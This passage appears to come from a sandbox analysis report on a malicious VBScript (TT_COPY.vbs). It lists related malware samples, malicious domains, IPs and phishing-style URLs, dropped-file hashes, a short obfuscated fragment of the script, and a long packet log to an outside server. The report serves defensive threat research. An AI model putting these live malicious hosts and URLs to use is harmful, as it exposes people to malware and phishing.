	ordine C220205 pdf.exe	Get hash	malicious	Browse
	PO#0192 xls.vbs	Get hash	malicious	Browse
	ANGEBOTSANFRAGEN.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.NSIS.Agent.21226.9113.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ftp.mcmprint.net	SIEM_PO00938467648.vbs	Get hash	malicious	Browse	185.31.121.136
	PO-09784893 xlsx.vbs	Get hash	malicious	Browse	185.31.121.136
	PO-08784 xlsx.vbe	Get hash	malicious	Browse	185.31.121.136
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	185.31.121.136
	Richiesta urgente.vbs	Get hash	malicious	Browse	185.31.121.136
	Payment advis pdf.scr.exe	Get hash	malicious	Browse	185.31.121.136
	ordine C220205 pdf.exe	Get hash	malicious	Browse	185.31.121.136
	PO#0192 xls.vbs	Get hash	malicious	Browse	185.31.121.136
	ANGEBOTSANFRAGEN.exe	Get hash	malicious	Browse	185.31.121.136
	SecuriteInfo.com.Trojan.NSIS.Agent.21226.9113.exe	Get hash	malicious	Browse	185.31.121.136
	Jtkmmbl.exe	Get hash	malicious	Browse	185.31.121.80
	DOC85945003805010 PDF.exe	Get hash	malicious	Browse	185.31.121.80
	RFQ NO # 577131022.pif.exe	Get hash	malicious	Browse	185.31.121.80
	PO-57064.scr.exe	Get hash	malicious	Browse	185.31.121.80
	INQUIRY- EUSQ131302.scr.exe	Get hash	malicious	Browse	185.31.121.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	nuevo_pedido.docx.exe	Get hash	malicious	Browse	162.241.61.244
	#U266c voice0989876_3-2(3).hTm	Get hash	malicious	Browse	192.185.143.215
	MHSB7tmAIJ.exe	Get hash	malicious	Browse	192.185.79.75
	Secure365doc (1).html	Get hash	malicious	Browse	50.87.176.157
	3wjjsE9fZZ.exe	Get hash	malicious	Browse	192.185.79.75
	http://Bart.elenoxsteel.com/pherhol@bart.gov	Get hash	malicious	Browse	192.185.129.116
	http://Bart.elenoxsteel.com/pherhol@bart.gov	Get hash	malicious	Browse	192.185.129.116
	http://news.newsmax.com/?SKIv.io3vF9tXNnZLWSOh2w2kUPztfIZS&http://Bart.elenoxsteel.com/pherhol@bart.gov	Get hash	malicious	Browse	192.185.129.116
	http://news.newsmax.com/?SKIv.io3vF9tXNnZLWSOh2w2kUPztfIZS&http://Bart.elenoxsteel.com/pherhol@bart.gov	Get hash	malicious	Browse	192.185.129.116
	INVOICE_Ref-IAS-AT2sf_rand(6999).html.html	Get hash	malicious	Browse	192.185.129.116
	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.196.49
	R#U25b6 #Ud83d#Udd18#U2500#U2500#U2500#U2500#U2500#U2500#U2500 Voice-Msg.919-340-XXXX.html	Get hash	malicious	Browse	192.185.129.116
	https://ib.adnxs.com/getuid?https://remarkable-starlight-37d159.netlify.app#.aHR0cHM6Ly94b2RpdXNkZXNpZ25zLmNvbS9yb3V0ZS9zdGF0ZS8jcmFpbGN1c3RvbWVyc2VydmljZUB4cG8uY29t	Get hash	malicious	Browse	162.241.253.90
	Paid-Inv-793796002 .html	Get hash	malicious	Browse	192.185.129.116
	0fmEh2zmDj.exe	Get hash	malicious	Browse	108.167.164.216
	pago_noviembre-diciembre.xls	Get hash	malicious	Browse	192.185.115.3
	Cheshire_east_council_section_106_agreement (zx).js	Get hash	malicious	Browse	162.215.212.3
	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.107.17
	7D8vOYikXf.exe	Get hash	malicious	Browse	192.254.173.31
	yrcYo3FiTV.exe	Get hash	malicious	Browse	192.254.173.31

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3jpr0mil.ht2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ai3mehq5.lyv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Preview:	NordVPN directory not found!..

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.882508768775152
TrID:
File name:	TT_COPY.vbs
File size:	319816
MD5:	a27bc40b7cf1e7e7e7a9b38221d4e849
SHA1:	d24c19f3cf76f8f47fa6fffb12422f0fa0252b3b
SHA256:	28a30c25fb101ed42b050c4b82777929b1cdd9fe02f8f386bb9708d3adb3b9bf
SHA512:	b6bbcd0f8e6fa19acc91441f41f9f277a11399b15071ce06acbae4771954bba33e0acf7ee279498bfd701a3beec55c54687a25c579a54be9adcbfa2c133731f8
SSDEEP:	6144:T2J71kKaq/0xBIAbO0uzJ44bQ+YwMpXj/3CAS/Sv5Hx5QS:TBKd/0UAbO0q44jkTbvL5QS
TLSH:	CF645990AD3B55900E4BA71AFBF149CD4FF30FE3F1012F9B29B45246372A3689A19197
File Content Preview:	Smigesparcelwisecisal = ChrW(11202)......on error resume next ..Tilendebringerlateenrigg186 = FileLen("Lassoers89")......Dveskolenliveborns = Ucase(Trim(Mid("Referencerne",27,150)) ) ......BESPARINGERNESUNDERSPR = Space(35)....'LIVSFRELSERNE Concocted BYG

File Icon


Icon Hash:	e8d69ece869a9ec4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2022 15:50:07.835916996 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:07.952136993 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:07.952317953 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:07.952996969 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.069183111 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.081645966 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.081737995 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.081804037 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.081856012 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.081902027 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.081954956 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.082016945 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.082053900 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.082114935 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.082170010 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.082199097 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.082284927 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.082309008 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.082384109 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.082386017 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.082467079 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.082484007 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.082640886 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.082642078 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199069977 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199163914 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199234009 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199280024 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199325085 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199340105 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199431896 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199433088 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199513912 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199537039 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199625015 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199642897 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199718952 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199779034 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199779034 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199800968 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199896097 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.199898958 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199980021 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.199994087 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200078964 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200102091 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200170040 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200193882 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200242043 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200298071 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200406075 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200414896 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200445890 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200512886 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200567007 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200593948 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200666904 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200690985 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200757027 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200782061 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200845003 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.200884104 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.200953960 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.201098919 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.317081928 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317156076 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317269087 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317286015 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.317331076 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.317449093 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.317534924 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317636013 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317718029 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317720890 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.317816019 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317830086 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.317898989 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.317903996 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.317989111 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318079948 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318099022 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318223000 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318259954 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318301916 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318368912 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318428040 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318454027 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318506956 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318511963 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318578959 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318593025 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318670034 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318680048 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318752050 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318769932 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318840027 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318866014 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318913937 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.318928957 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.318994999 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319010019 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319084883 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319128990 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319152117 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319181919 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319230080 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319245100 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319317102 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319323063 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319406033 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319416046 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319488049 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319508076 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319572926 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319588900 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319658041 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319658995 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319730997 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319739103 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319816113 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319863081 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319892883 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319930077 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.319977999 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.319983006 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320058107 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320082903 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320142984 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320183039 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320183039 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320225000 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320298910 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320322037 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320382118 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320432901 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320508003 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320545912 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320585012 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320595980 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320667982 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.320677996 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320785999 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.320930958 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.436963081 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437063932 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437156916 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.437232018 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.437299013 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437477112 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.437494993 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437577963 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437637091 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437675953 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.437735081 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.437747955 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437808037 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.437897921 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.437913895 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.437992096 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.438076019 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.438096046 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.438221931 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.438323021 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.438441992 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.438520908 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.438591957 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.438726902 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.438793898 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.438853979 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.438878059 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.438950062 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.438997984 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439017057 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439129114 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439205885 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439219952 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439279079 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439294100 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439368963 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439369917 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439449072 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439450979 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439532042 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439551115 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439619064 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439649105 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439697027 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439706087 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439784050 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439804077 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439866066 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.439903021 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439903021 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.439946890 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440017939 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440023899 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440104961 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440119028 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440188885 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440234900 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440256119 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440339088 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440377951 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440395117 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440459013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440474987 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440515995 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440527916 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440540075 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440551996 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440566063 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440577030 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440587044 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440598011 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440614939 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440628052 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440639973 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440649033 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440653086 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440668106 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440680027 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440691948 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440702915 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440715075 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440726995 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440737963 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440749884 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440762043 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440773964 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440784931 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440797091 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440809011 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440819979 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440831900 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440844059 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440845013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440845013 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440845013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440845013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440845013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440845013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440845013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440845013 CET	49824	80	192.168.11.20	192.185.145.188
Dec 1, 2022 15:50:08.440864086 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440877914 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440890074 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440901041 CET	80	49824	192.185.145.188	192.168.11.20
Dec 1, 2022 15:50:08.440912962 CET	80	49824	192.185.145.188	192.168.11.20
